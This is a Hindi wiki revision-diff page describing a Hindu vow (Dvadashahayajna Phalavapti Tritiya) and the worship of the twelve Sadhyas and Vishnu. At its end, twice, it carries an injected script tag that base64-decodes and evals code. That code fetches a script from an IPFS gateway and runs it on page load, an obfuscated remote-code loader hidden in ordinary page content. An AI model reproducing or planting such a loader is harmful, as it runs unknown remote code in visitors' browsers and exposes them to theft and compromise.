द्वादशाहयज्ञ फलावाप्ति तृतीया: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "") |
आदित्य चौधरी (talk | contribs) m (Text replace - "उल्लखित" to "उल्लिखित") |
||
Line 1: | Line 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*एक वर्ष एक प्रति तृतीया (सम्भवतः शुक्ल पर) को यह व्रत किया जाता है। | *एक वर्ष एक प्रति तृतीया (सम्भवतः शुक्ल पर) को यह व्रत किया जाता है। | ||
*12 अर्ध दिव्य प्राणियों की; जिन्हें 'साध्य' कहा जाता है, पूजा की जाती है।<ref>हेमाद्रि (व्रतखण्ड 1, 498)</ref> | *12 अर्ध दिव्य प्राणियों की; जिन्हें 'साध्य' कहा जाता है, पूजा की जाती है।<ref>हेमाद्रि (व्रतखण्ड 1, 498)</ref> |
Revision as of 17:36, 25 February 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- एक वर्ष एक प्रति तृतीया (सम्भवतः शुक्ल पर) को यह व्रत किया जाता है।
- 12 अर्ध दिव्य प्राणियों की; जिन्हें 'साध्य' कहा जाता है, पूजा की जाती है।[1]
- अनुशासन पर्व[2] में उपवास की व्यवस्था है, जो मार्गशीर्ष (शुक्ल) की द्वादशी से आरम्भ होता है।
- विभिन्न नामों से, यथा—केशव, नारायण, माधव आदि विष्णु की पूजा होती है।
- कर्ता को वही पुण्य या पुरस्कार प्राप्त होते हैं, जो अश्वमेध, वाजपेय एवं अन्य वैदिक यज्ञ करने से प्राप्त होते हैं।
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>